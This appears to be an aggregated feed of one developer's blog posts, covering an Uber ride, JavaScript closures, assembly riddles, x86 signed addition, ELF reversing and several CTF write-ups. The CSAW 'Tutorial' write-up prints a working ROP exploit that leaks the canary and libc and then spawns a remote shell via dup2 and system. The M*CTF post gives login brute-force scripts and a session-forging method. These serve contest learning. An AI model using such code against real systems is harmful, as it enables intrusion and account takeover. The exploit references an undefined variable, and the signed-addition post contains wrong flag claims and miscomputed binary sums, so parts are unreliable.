Quantcast
Channel: Aneesh Dogra’s Blog - Medium
Viewing all 51 articles
Browse latest View live

UBER, Taxi Drivers, Circus and Guitars on Airplanes

$
0
0

I am having an amazing night. I am on my way to Bangalore, travelling there majorly to take part in HackIndia.io. I am at the Indra Gandhi Airport now, and am loving the trip already. Before coming here, I went to this amazing gig by the Circus in Turquoise cottage. I am a great fan of F.O.P.S. now! Nice band!

The Uber Ride

To reach the airport, I traveled through the most convenient way to travel in Delhi. Uber! I did some clicks on my phone and the cab was booked. It took the driver around 15 mins to reach the GovindPuri Metro; after that I had to instruct him the way to my college. He was a pretty interesting guy, greeted me well and we started talking. I asked him about how he was working with Uber and we started talking about it.

 

Me: How do you get an uber request?
Driver: I get a notification, if I am in the nearby area and am signed-in in the app.
Me: Do you have a different app?
Driver: Yes. I think its different, its for drivers. 
Me: How do you register as a driver?
Driver: There is an Uber office in Haus Khaz. Drivers give photocopies of their documents, including driving license, address proof, .
Me: How much do you get paid?
Driver: It depends on the time. In the day time its around 300 per ride + 80% of what your bill is.
Me: So uber gives you 300 per ride and gives you 80% of the fare, it makes 20% of your fare only?
Driver: He confirmed yes. 
Me: If uber loses money in an average cab request, how are they befitting from all this?
* silence *
We both then started discussing about their revenue model.
Driver: I think they'll cut shot on the 300 per ride they are offering now, or maybe increase the price per km in future?
Me: I think they're doing that. Do you get 2x in peak hours?
Driver: Yes. We do get 2x.
Me: Okay then that's not it.

tl;dr: Uber’s loses a significant amount of money on an average cab ride.

Airport

I love this place. It has conveyors, it is very spacious, people are so calm most of the time. I even had a chat with the guy who frisked me, apparently he knew some one with the same last name as me and he found “dogras” very matured.

I then went for my check-in; humbly greeted by the staff. I am going to a place for a while in the winters, and wanted to know if I can carry my guitar on the flight. YES YOU CAN. I had done some research about it already and people on the forums are like, no it doesn’t fit the baggage restrictions. Even though it doesn’t, it is allowed as a cabin bag in Air Asia. (thanks so much AirAsia!).

 

The post UBER, Taxi Drivers, Circus and Guitars on Airplanes appeared first on Aneesh Dogra's Blog.


Encapsulation in Javascript

$
0
0

Someone asked me about how could I implement encapsulation in Javascript and I got stumped, I had no answer to it, and after studying how its done, it really is a bit tricky.

Encapsulation in Javascript

Now I tried to sit and think about how would I try to do this. How would I add a private member to an object (which is technically a assoc array) in Javascript?

I started by reading up on Variable Scope in javascript, because that’ll be the only way we’ll be able to restrict access to a variable. So,

Unlike most programming languages, JavaScript does not have block-level scope (variables scoped to surrounding curly brackets); instead, JavaScript has function-level scope. Variables declared within a function are local variables and are only accessible within that function or by functions inside that function.  Source

Consider this:

function mainfunction(var1, var2) {
 var mainvar = "Hello";
 
 function inner1() {
 return mainvar + " " + var1;
 }
 
 return inner1;
}

var main_func_output = mainfunction("Aneesh", "Dogra");

console.log(main_func_output());

Here, when we execute mainfunction it gets us the inner1’s function reference (can I say function pointer?). mainfunction after returning inner1’s function finishes. But still, the output shows “Hello Aneesh”. That means inner1 could still use mainvar, even though the mainfunction has already returned.

Interesting! What we just used here is called a closure.

A closure is an inner function that has access to the outer (enclosing) function’s variables—scope chain. The closure has three scope chains: it has access to its own scope (variables defined between its curly brackets), it has access to the outer function’s variables, and it has access to the global variables. Source

We can use the idea of closure to do encapsulation in javascript. Here’s how:

function MyClass() {
 // private variables go here
 var privar1 = "Hello";
 var privar2 = "Aneesh";
 
 
 return {
 greet: function () {
 return privar1 + " " + privar2;
 },
 update_greeting: function (new_greeting) {
 privar1 = new_greeting;
 }
 }
}

var object = MyClass();
console.log(object.greet());

object.update_greeting("Holla")
console.log(object.greet());

 

The post Encapsulation in Javascript appeared first on Aneesh Dogra's Blog.

xchg rax, rax

$
0
0

I found this amazing book online xchg rax, rax by xorpd. It’s a collection of assembly riddles. The book contains 0x40 short assembly snippets, with no text.

I just started reading it and its amazing. I’ll update this blog post with explanations of the snippets that I explore.

xchg rax,rax - 0x00 explanation

Hint: It’s the 0th snippet.

The snippet just illustrates some different ways to set the registers to 0. It sets eax, ebx, ecx, edx, esi, edi and ebp to 0 in the same order.

[collapse]
xchg rax,rax - 0x01 explanation

Fibonacci

[collapse]
xchg rax,rax - 0x02 explanation

Sets rax to 0 if the initial value is 0. Otherwise it always sets it to 1.

[collapse]
xchg rax,rax - 0x03 explanation

Actually that code is a clever branchless way to do rax = min(rax, rdx).

sub rdx, rax ; rdx = rdx - rax; CF set if rdx < rax
sbb rcx, rcx ; rcx = all 1 bits if CF was set, 0 otherwise
and rcx, rdx ; rcx = rdx - rax if CF was set, 0 otherwise
add rax, rcx ; rax = rax + (rdx - rax) = rdx if CF was set, unchanged otherwise

A more readable branching version is:

cmp rdx, rax
jnc done ; if rdx - rax produced no carry, rax is smaller or equal
mov rax, rdx ; otherwise rdx is the smaller one
done:

It’s still just using CF for overflow checking.

From Jester’s answer here.

[collapse]
xchg rax,rax - 0x04 explanation

0x20 in binary is 00100000

So, xoring a number with 0x20 will flip the 5th most significant bit. Now, if we see the ascii character’s representation in binary there is something interesting to note.

A  = 0100 0001
a  = 0110 0001
B  = 0100 0010
b  = 0110 0010

There we see. Flipping the fifth bit flips the case (lower/upper) of the letter.

[collapse]

 

The post xchg rax, rax appeared first on Aneesh Dogra's Blog.

Get list of likes for any facebook post

$
0
0

Get list of users who have liked a particular post on facebook.

Step 1 – Getting an access token: 

Go to graph explorer.

Graph Explorer Screen Shot

Click on Get Token->Get Access Token.

Screen Shot 2015-09-19 at 9.55.24 pm

Check user_photos and user_posts permissions and click on get access token.

Copy paste your access token and store it somewhere, we’ll use it later.

Step 2 – Getting post ID:

Screen Shot 2015-09-19 at 9.58.19 pmClicking on the date attached (“September 12 at 6:50 pm”) to a post will take you to the post page from where you can get the ID.

The post url will look something like: facebook.com/<username>/posts/<postID>

Save the post id, we’ll use it in the next step to get the list of likes of a post.

Step 3 – Getting the list of likes:

To the run this python code you’ll have to install the requests library, should be as easy as “pip install requests”. Running this python code will get you the list of likes for a post in CSV format and will save it as <POST_ID>_likes.csv.

Enjoy!

The post Get list of likes for any facebook post appeared first on Aneesh Dogra's Blog.

Signed and Unsigned additions in x86

$
0
0

Some basic knowledge of assembly, registers and flags is assumed.

Unsigned addition

We use an adder circuit in the CPU to do additions. To check for overflows and carry we have 2 flags. Consider we have a 5 bit system. If we do unsigned addition of say, 25 (11001) and 7(00111), the CPU will set the carry flag and the overflow flag to 1 and will set the resultant register value to 0. As the resultant number couldn’t be represented using 5 bits, we set the carry flag to 1. As the number exceeds the unsigned bit range we set the overflow flag it to 1.  So here carry flag and the overflow flag represent the same thing!

How are signed integers represented?

Signed integers are represented differently, as we need 1 extra bit  to specify the sign. The simplest way to represent signed integers is by just setting the most significant to the sign bit and represent the unsigned integer in rest of the bits.

Consider an 8 bit environment.

+1  = 00000001
-20 = 10010100
-21 = 10010101

It’s convenient for us, but if you consider making a circuit to compute the result of a signed addition, it gets complicated. We’ll have to check the sign bits and then based on the sign bits we’ll do an addition or a subtraction. That requires us to have a subtractor circuit in our CPU as well.

It turns out we can do better than this if we represent negative numbers as two’s compliment. We still reserve the most significant bit for sign.

1   = 00000001
-21 = 11101011

Let’s now try to add -21 and 1:

111101011
000000001
---------
111101100
---------

This gives us: 11101100 (2’s complement = 000010100)

Which is -20 (according to our representation)

The circuit becomes less complicated. We can now do it using just an adder and less comparisons.

Signed addition

Lets try to add 2 negative integers

-20 = 11101100
-21 = 11101011
11101100
11101011
--------
11010111
--------

Which is -41. The carry flag will consider the last unsigned addition’s value, it simply asks if there is a carry from the previous addition. Which is yes for this case, so the carry flag is set. Overflow flag checks if the resultant value couldn’t be represented in 8 bits, -41 can be represented and hence the overflow flag is not set in this case.

Now, let’s try to add -121 and -8.

+121 = 01111001
+8   = 00001000
-121 = 10000111
-8   = 11111000
10000111
11111000
--------
11111111
--------

The resultant value = 11111111. The carry flag will again set to 1. The overflow flag will also set to 1 here as the resultant value = -127 – 8 = -129, can’t be represented in 8 bits (7 + 1 bit for sign).

 

The post Signed and Unsigned additions in x86 appeared first on Aneesh Dogra's Blog.

Reversing an ELF from the ground up

$
0
0

Given an ELF binary, you can use tools like Radare2 (open-source equivalent of IDA Pro) to try and understand what the binary consists of and what could exactly happen when you execute it. This is commonly known as Reversing.

Understanding what these tools do for you under the hood is a complex task, and writing a tool equivalent to radare2 would take a long time. But thanks to amazing python libraries, we could write a simple script to parse out the relevant sections and get enough information to solve a very simple crackme I created.

For those who don’t know crackmes are binaries (executables) that are written for hackers, who try and understand them, without having access to the source code. For a more information visit crackmes.de.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
    char *buffer = malloc(9);
    buffer[0] = 'p';
    buffer[1] = 'a';
    buffer[2] = 's';
    buffer[3] = 's';
    buffer[4] = 'w';
    buffer[5] = 'o';
    buffer[6] = 'r';
    buffer[7] = 'd';
    buffer[8] = '\0';

    char *input = malloc(9);
    printf("Enter the 8 letter password: ");
    fgets(input, 9, stdin);
    if (strncmp(input, buffer, 8) == 0) {
        printf("You read my memory\n");
    } else {
        printf("You can't read my memory!\n");
    }
    return 0;

}

This one is probably a “Hello, World” equivalent of a crackme. But it’ll suffice for now.

Reversing

Let’s start by passing our binary to the file command.

aneesh@aneesh-ubuntu:~/pycon_talk$ file crackme_1
crackme_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8d5e6525579c6c97ae69b5e62dabfc2ec13cc0fd, not stripped

Seems standard. Now, we’re gonna start digging into the binary trying to look for information. Let’s start by getting a list of sections the binary has. To do this, I have written a python script using pyelftools.

import sys
from elftools.elf.elffile import ELFFile

def process_file(filename):
    print('Processing file:', filename)
    with open(filename, 'rb') as f:
    elffile = ELFFile(f)
    code_section = '.text'
    for section in elffile.iter_sections():
        print (section.name)

if __name__ == '__main__':
    if len(sys.argv) == 2:
        process_file(sys.argv[1])
aneesh@aneesh-ubuntu:~/pycon_talk$ python solve.py crackme_1
Processing file: crackme_1

.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
.shstrtab
.symtab
.strtab

There are a few important sections to note here. The text section mostly contains the opcodes that are executed by the processor.  The bss section contain the uninitialized variables.  The data section is going to have all the strings and other constants used by the program. Let’s now check the .text segment

A couple of minutes of work and we have a script to do that:

import sys
from elftools.elf.elffile import ELFFile
from capstone import *

def process_file(filename):
    with open(filename, 'rb') as f:
    elffile = ELFFile(f)
    code = elffile.get_section_by_name('.text')
    opcodes = code.data()
    addr = code['sh_addr']
    print 'Entry Point:', hex(elffile.header['e_entry'])
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(opcodes, addr):
        print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))


if __name__ == '__main__':
    if len(sys.argv) == 2:
        process_file(sys.argv[1])


Credits: I am using the capstone engine to find the mapping of opcodes to readable assembly instructions. Its a great project, read more about it here.

aneesh@aneesh-ubuntu:~/pycon_talk$ python solve.py crackme_1 | head -12
Entry Point: 0x400590
0x400590:    xor    ebp, ebp
0x400592:    mov    r9, rdx
0x400595:    pop    rsi
0x400596:    mov    rdx, rsp
0x400599:    and    rsp, 0xfffffffffffffff0
0x40059d:    push    rax
0x40059e:    push    rsp
0x40059f:    mov    r8, 0x4007e0
0x4005a6:    mov    rcx, 0x400770
0x4005ad:    mov    rdi, 0x400686
0x4005b4:    call    0x400550

We now have the disassembly of the program. To decode the addresses before and after the .text segment, we’d need to find where all the sections are loaded. Here’s a script to do that:

import sys
from elftools.elf.elffile import ELFFile
from capstone import *

def process_file(filename):
    print('Processing file:', filename)
    with open(filename, 'rb') as f:
    elffile = ELFFile(f)
    for section in elffile.iter_sections():
        print hex(section['sh_addr']), section.name, section['sh_size']


if __name__ == '__main__':
    if len(sys.argv) == 2:
        process_file(sys.argv[1])
aneesh@aneesh-ubuntu:~/pycon_talk$ python list_section_addr_size.py crackme_1
0x400238 .interp 28
0x400254 .note.ABI-tag 32
0x400274 .note.gnu.build-id 36
0x400298 .gnu.hash 36
0x4002c0 .dynsym 216
0x400398 .dynstr 95
0x4003f8 .gnu.version 18
0x400410 .gnu.version_r 32
0x400430 .rela.dyn 48
0x400460 .rela.plt 144
0x4004f0 .init 26
0x400510 .plt 112
0x400580 .plt.got 8
0x400590 .text 594
0x4007e4 .fini 9
0x4007f0 .rodata 79
0x400840 .eh_frame_hdr 52
0x400878 .eh_frame 244
0x600e10 .init_array 8
0x600e18 .fini_array 8
0x600e20 .jcr 8
0x600e28 .dynamic 464
0x600ff8 .got 8
0x601000 .got.plt 72
0x601048 .data 16
0x601060 .bss 16
0x0 .comment 47
0x0 .shstrtab 268
0x0 .symtab 1728
0x0 .strtab 635

Let’s now try to decode our first call instruction

0x4005b4: call    0x400550

The instruction refers the address 0x400550, which lies in the .plt section. Let’s try to disassembly the .plt section and see what we get. I can use one of the previous scripts  to do the same.

0x400510:    push    qword ptr [rip + 0x200af2]
0x400516:    jmp    qword ptr [rip + 0x200af4]
0x40051c:    nop    dword ptr [rax]
0x400520:    jmp    qword ptr [rip + 0x200af2]
0x400526:    push    0
0x40052b:    jmp    0x400510
0x400530:    jmp    qword ptr [rip + 0x200aea]
0x400536:    push    1
0x40053b:    jmp    0x400510
0x400540:    jmp    qword ptr [rip + 0x200ae2]
0x400546:    push    2
0x40054b:    jmp    0x400510
0x400550:    jmp    qword ptr [rip + 0x200ada]
0x400556:    push    3
0x40055b:    jmp    0x400510
0x400560:    jmp    qword ptr [rip + 0x200ad2]
0x400566:    push    4
0x40056b:    jmp    0x400510
0x400570:    jmp    qword ptr [rip + 0x200aca]
0x400576:    push    5
0x40057b:    jmp    0x400510

It jumps to 0x400556 + 0x200ada = 0x601030, which lies in the .got.plt section. Note that rip always holds the value of the next instruction to execute, hence rip = 0x400556 when running the jump instruction. The .got.plt is filled up by the linker when running running the program, by using the information in the relocations section. Let’s dig into relocations next.

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
from elftools.elf.descriptions import describe_reloc_type

def process_file(filename):
    print('Processing file:', filename)
    with open(filename, 'rb') as f:
        elffile = ELFFile(f)
        for section in elffile.iter_sections():
            if not isinstance(section, RelocationSection):
                continue

            symtable = elffile.get_section(section['sh_link'])
            print('  %s section with %s relocations' % (
                section.name, section.num_relocations()))

            for reloc in section.iter_relocations():
                symbol = symtable.get_symbol(reloc['r_info_sym'])
                print '    Relocation (%s)' % 'RELA' if reloc.is_RELA() else 'REL'
                # Relocation entry attributes are available through item lookup
                print '      offset = %s' % hex(reloc['r_offset'])
                print symbol.name, 'type:', describe_reloc_type(reloc['r_info_type'], elffile), 'load at: ', hex(reloc['r_offset'])


if __name__ == '__main__':
    process_file(sys.argv[1])

That gives us:

  .rela.dyn section with 2 relocations
__gmon_start__ type: R_X86_64_GLOB_DAT load at:  0x600ff8
stdin type: R_X86_64_COPY load at:  0x601060
  .rela.plt section with 6 relocations
strncmp type: R_X86_64_JUMP_SLOT load at:  0x601018
puts type: R_X86_64_JUMP_SLOT load at:  0x601020
printf type: R_X86_64_JUMP_SLOT load at:  0x601028
__libc_start_main type: R_X86_64_JUMP_SLOT load at:  0x601030
fgets type: R_X86_64_JUMP_SLOT load at:  0x601038
malloc type: R_X86_64_JUMP_SLOT load at:  0x601040

Phew! Finally, we have arrived at the function name the call instruction executes. It calls __libc_start_main. __libc_start_main initializes the process and calls main with appropriate attributes.

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));

Let’s look at the disassembly again:

0x400590:    xor    ebp, ebp
0x400592:    mov    r9, rdx
0x400595:    pop    rsi
0x400596:    mov    rdx, rsp
0x400599:    and    rsp, 0xfffffffffffffff0
0x40059d:    push    rax
0x40059e:    push    rsp
0x40059f:    mov    r8, 0x4007e0
0x4005a6:    mov    rcx, 0x400770
0x4005ad:    mov    rdi, 0x400686
0x4005b4:    call    0x400550

As the first argument will be pushed last on the stack, 0x400686 is the address of the main function. Let’s see the disassembly at 0x400686.

0x400686:    push    rbp
0x400687:    mov    rbp, rsp
0x40068a:    sub    rsp, 0x10
0x40068e:    mov    edi, 9
0x400693:    call    0x400570
0x400698:    mov    qword ptr [rbp - 0x10], rax
0x40069c:    mov    rax, qword ptr [rbp - 0x10]
0x4006a0:    mov    byte ptr [rax], 0x70
0x4006a3:    mov    rax, qword ptr [rbp - 0x10]
0x4006a7:    add    rax, 1
0x4006ab:    mov    byte ptr [rax], 0x61
0x4006ae:    mov    rax, qword ptr [rbp - 0x10]
0x4006b2:    add    rax, 2
0x4006b6:    mov    byte ptr [rax], 0x73
0x4006b9:    mov    rax, qword ptr [rbp - 0x10]
0x4006bd:    add    rax, 3
0x4006c1:    mov    byte ptr [rax], 0x73
0x4006c4:    mov    rax, qword ptr [rbp - 0x10]
0x4006c8:    add    rax, 4
0x4006cc:    mov    byte ptr [rax], 0x77
0x4006cf:    mov    rax, qword ptr [rbp - 0x10]
0x4006d3:    add    rax, 5
0x4006d7:    mov    byte ptr [rax], 0x6f
0x4006da:    mov    rax, qword ptr [rbp - 0x10]
0x4006de:    add    rax, 6
0x4006e2:    mov    byte ptr [rax], 0x72
0x4006e5:    mov    rax, qword ptr [rbp - 0x10]
0x4006e9:    add    rax, 7
0x4006ed:    mov    byte ptr [rax], 0x64
0x4006f0:    mov    rax, qword ptr [rbp - 0x10]
0x4006f4:    add    rax, 8
0x4006f8:    mov    byte ptr [rax], 0
0x4006fb:    mov    edi, 9
0x400700:    call    0x400570
0x400705:    mov    qword ptr [rbp - 8], rax
0x400709:    mov    edi, 0x4007f4
0x40070e:    mov    eax, 0
0x400713:    call    0x400540
0x400718:    mov    rdx, qword ptr [rip + 0x200941]
0x40071f:    mov    rax, qword ptr [rbp - 8]
0x400723:    mov    esi, 9
0x400728:    mov    rdi, rax
0x40072b:    call    0x400560
0x400730:    mov    rcx, qword ptr [rbp - 0x10]
0x400734:    mov    rax, qword ptr [rbp - 8]
0x400738:    mov    edx, 8
0x40073d:    mov    rsi, rcx
0x400740:    mov    rdi, rax
0x400743:    call    0x400520
0x400748:    test    eax, eax
0x40074a:    jne    0x400758
0x40074c:    mov    edi, 0x400812
0x400751:    call    0x400530
0x400756:    jmp    0x400762
0x400758:    mov    edi, 0x400825
0x40075d:    call    0x400530
0x400762:    mov    eax, 0
0x400767:    leave    
0x400768:    ret

We can go about decoding the call instructions in the same way we did earlier.

0x400570: malloc
0x400540: printf
0x400560: fgets
0x400520: strncmp
0x400530: puts

Nice. We finally have enough information to solve this crackme. The disassembly looks pretty self-explanatory now.

0x400698 – 0x400700: Set bytes into the memory returned by malloc. array = [0x70, 0x61, 0x73 … ] = [‘p’, ‘a’, ‘s’ …].

0x400718 – 0x40072b: fgets into the buffer returned by malloc from stdin.

0x400730 – 0x400743: strncmp.

That’s all for now. I am applying to give a pycon talk on Binary Analysis using Python. Please upvote my proposal here, if you’d like to see me there. Thanks!

The post Reversing an ELF from the ground up appeared first on Aneesh Dogra's Blog.

Tutorial, CSAW CTF 2016 writeup

$
0
0

Tutorial was an easy pwn in CSAW CTF 2016, worth 200 points.

Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.

Download the challenge from here. By passing it to the file command we get it know its a 64bit ELF. ldd shows it uses libc-2.19.so. Lets fire up ida and check what’s happening.

It binds a socket to the port number given as argument, forks and calls a function called ‘priv’ in the child process.

signed __int64 __fastcall priv(const char *a1)
{
  signed __int64 result; // rax@2
  struct passwd *v2; // [sp-8h] [bp-8h]@1

  v2 = getpwnam(a1);
  if ( v2 )
  {
    if ( chdir(v2->pw_dir) )
    {
      perror("chdir");
      result = 1LL;
    }
    else if ( setgroups(0LL, 0LL) )
    {
      perror("setgroups");
      result = 1LL;
    }
    else if ( setgid(v2->pw_gid) )
    {
      perror("setgid");
      result = 1LL;
    }
    else if ( setuid(v2->pw_uid) )
    {
      perror("setuid");
      result = 1LL;
    }
    else
    {
      result = 0LL;
    }
  }
  else
  {
    fprintf(_bss_start, "User %s does not exist\n", a1);
    result = 1LL;
  }
  return result;
}

Just changes the directory and set appropriate right. Seems normal. Then it calls ‘menu’:

ssize_t __fastcall menu(int a1)
{
  char v2; // [sp-10h] [bp-10h]@1

  while ( 1 )
  {
    while ( 1 )
    {
      write(a1, "-Tutorial-\n", 0xBuLL);
      write(a1, "1.Manual\n", 9uLL);
      write(a1, "2.Practice\n", 0xBuLL);
      write(a1, "3.Quit\n", 7uLL);
      write(a1, ">", 1uLL);
      read(a1, &v2, 2uLL);
      if ( v2 != 50 )
        break;
      func2((unsigned int)a1, &v2);
    }
    if ( v2 == 51 )
      break;
    if ( v2 == 49 )
      func1((unsigned int)a1, &v2);
    else
      write(a1, "unknown option.\n", 0x10uLL);
  }
  return write(a1, "You still did not solve my challenge.\n", 0x26uLL);
}

func1 prints the reference:

__int64 __fastcall func1(int a1)
{
  char *v1; // ST20_8@1
  __int64 v3; // [sp-40h] [bp-40h]@1
  __int64 v4; // [sp-8h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  v1 = (char *)dlsym((void *)0xFFFFFFFF, "puts");
  write(a1, "Reference:", 0xAuLL);
  sprintf((char *)&v3, "%p\n", v1 - 1280);
  write(a1, &v3, 0xFuLL);
  return *MK_FP(__FS__, 40LL) ^ v4;
}

So, reference = addr_of(Puts) – 0x500. We can use this reference to calculate the base of libc. base_of_libc = reference – 0x500 – offset_of(Puts). Let’s now check func2, that the function that has the buffer overflow vulnerability.  Lets check whats that all about:

__int64 __fastcall func2(int a1)
{
  __int64 v2; // [sp-140h] [bp-140h]@1
  __int64 v3; // [sp-8h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  bzero(&v2, 0x12CuLL);
  write(a1, "Time to test your exploit...\n", 0x1DuLL);
  write(a1, ">", 1uLL);
  read(a1, &v2, 0x1CCuLL);
  write(a1, &v2, 0x144uLL);
  return *MK_FP(__FS__, 40LL) ^ v3;
}

So it uses read 0x1CC bytes to v2. It reads 0x1CC onto [rbp-140h], which means we can easily overflow the canary, return pointer and still have around 120 bytes for the rop chains. To overflow the return pointer, we need to overwrite the canary bytes correctly for it to not get detected before the return. The canary leak is available from the last write statement. Here’s the final exploit:

from pwn import *


pop_rsi = 0x0000000000024885
offset_dup2 = 0x00000000000ebe90
offset_system = 0x0000000000046590
offset_bin_sh_string = 0x000000000017c8c3

r = remote('pwn.chal.csaw.io', 8002)
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()

r.send('1')
libc_base = int(r.recvline().split(':')[1], 16) 
print hex(libc_base + 0x500)
libc_base = libc_base + 0x500 - 0x000000000006fd60
print hex(libc_base)
pop_rdi += libc_base
pop_rsi += libc_base

print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()

r.send('2')
print r.recvline()
r.send('A')
a = r.recvline()
yay = a.split('-Tutorial')[0][1:]
#canary = struct.pack('<Q', int(canary, 16))
canary = yay[312:312+8]
#print canary.encode('hex')
r.send('2')
print len(yay)
exploit = 'A' * 312 + canary + 'a' * 8


print 'rdi', hex(pop_rdi)
print 'rsi', hex(pop_rsi)
print 'dup2', hex(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(4)
exploit += p64(pop_rsi)
exploit += p64(0)
exploit += p64(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(4)
exploit += p64(pop_rsi)
exploit += p64(1)
exploit += p64(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(libc_base + offset_bin_sh_string)
exploit += p64(libc_base + offset_system)
exploit += p64(0xDEADBEEF)
print 'exploit len: ', len(exploit)
#exploit = 'A' * 350
r.send(exploit)
r.interactive()

Lets fire it up and see what happens:

aneesh@aneesh-ubuntu:~/CSAW$ python pwn2.py 
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
-Tutorial-

1.Manual

2.Practice

3.Quit

0x7fad235d3d60
0x7fad23564000
-Tutorial-

1.Manual

2.Practice

3.Quit

>Time to test your exploit...

324
rdi 0x7fad23586b9a
rsi 0x7fad23588885
dup2 0x7fad2364fe90
exploit len:  440
[*] Switching to interactive mode
1.Manual
2.Practice
3.Quit
>Time to test your exploit...
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xb1\x98g\x90]�paaaa$
$ ls
flag.txt
tutorial
tutorial.c
$

Aaand we’re in! :)

The post Tutorial, CSAW CTF 2016 writeup appeared first on Aneesh Dogra's Blog.

GameTime, CSAW CTF 2016 writeup

$
0
0

GameTime was an easy windows rev task. The challenge is a game which asks you to press keys on demand. It gives you around 0x14 milliseconds to enter the key. Lets fire up olly and first look for all referenced text strings – its always a nice starting point.

play

Lets setup a break point at 0xF31668 and run the program.

 

sss

Now stepping through the print statements we see something interesting at 0x00F31680.

sosme

The first time it asks for an s and for the rest of the times it uses some other character in ESI. Then after a few prints it there is something interesting at 0xF314CB.

sshshshs

That function returns 1 if you pressed space in the correct time otherwise returns 0. The return value in al is checked  at 0xF31403. Lets just set a break point there and let the program run. Change the value of EAX to 1 and pass the check. Set the break point at the next Test AL, AL instruction, and let it rip.

mkc

Nice, we stepped through the initial stage. Change the value of AL and move on. Do the same chore for rest of the stages.

some2

After a few stages and a lot of bitflipping, you get this:

hahaha

There’s our flag :)

The post GameTime, CSAW CTF 2016 writeup appeared first on Aneesh Dogra's Blog.


M*CTF web200 writeup

$
0
0

Its simple. Just hack it.

screenshot-from-2016-09-26-01-17-56So we have a standard login page. Nothing special happening.

If you enter admin:admin, you get an error message.

screenshot-from-2016-09-26-01-21-40It says User not found. So let’s try to brute this with a common wordlist:

import requests
import os
import  Queue
from threading import Thread

fp = open("wordlist.txt", "r")
abc = requests.post("http://web200.mctf.aciso.ru/login.php", data={"login":"some", "password":"abc", "submit":""}).text
q = Queue.LifoQueue()


start = 0
nop = 1000000

counter = 0
while 1:
    word = fp.readline().strip()
    word = word
    if counter < start:
        continue
    if not word:
        break
    counter += 1
    q.put(word)

print "added", counter, "passwords/usernames"

def doshit():
    while not q.empty():
    usernames = q.get()
#print "trying ", usernames
    if usernames == "":
        break
    while 1:
        try:
            r = requests.post("http://web200.mctf.aciso.ru/login.php", data={"login":usernames, "password":"", "submit":""})
        except KeyBoardInterrupt:
            os.exit()
        except:
            pass
        if r.text != abc:
            print "Got it ", usernames
        break
    q.task_done()

for i in range(10):
    t1 = Thread(target = doshit)
    t1.start()
q.join()

I used the wordlist from here. I found 3 users, “user”, “guest”, “Administrator”, maybe there are more but lets try to brute their passwords now. You can do that by making just a few changes to the script above. I found out that user’s password is “password”. I can then login to the panel and I see this:

screenshot-from-2016-09-26-01-27-26

Oh well. Nothing important in the source or the page. I then checked the cookies:

some

That looks like an md5 hash. Its decoded value is ‘1’

So it looks like the website generated session ids is just md5(user_id).

Lets write a script to brute user ids till 2000.

import requests
import os
import  Queue
from threading import Thread
import md5

abc = requests.get("http://web200.mctf.aciso.ru/index.php", cookies={"PHPSESSID":"c81e728d9d4c2f636f067f89cc14862d"}).text

print abc

q = Queue.LifoQueue()

counter = 0
max_limit = 2000
while 1:
    q.put(md5.md5(str(counter)).hexdigest())
    if counter == max_limit:
        break
    counter += 1

print "added", counter, "ids"

def doshit():
    while not q.empty():
    usernames = q.get()
#print "trying ", usernames
    if usernames == "":
        break
    while 1:
        try:
            r = requests.get("http://web200.mctf.aciso.ru/index.php", cookies={"PHPSESSID":usernames})
        except KeyBoardInterrupt:
            os.exit()
        except:
            pass
        if r.text != abc:
            print "Got it ", usernames
        break
    q.task_done()

for i in range(10):
    t1 = Thread(target = doshit)
    t1.start()
q.join()

I find that 1337 is one of the valid sessions. I use e48e13207341b6bffb7fb1622282247b as the session id, and I get this:

aaaaassssThat’s our flag :D!

 

The post M*CTF web200 writeup appeared first on Aneesh Dogra's Blog.

Tutorial, CSAW CTF 2016 writeup

xchg rax,rax

Signed and Unsigned additions in x86

M*CTF web200 writeup

Reversing an ELF from the ground up

Writeup for zwiebel, Tum CTF 2016


Hackover CTF 2016, ping_gnop writeup

Solving a simple crackme using Z3

Hack.lu CTF 2016, cornelius1 writeup

Hackover CTF 2016, ez_pz writeup

CSAW CTF 2016 Finals, Cookie Math writeup

Viewing all 51 articles
Browse latest View live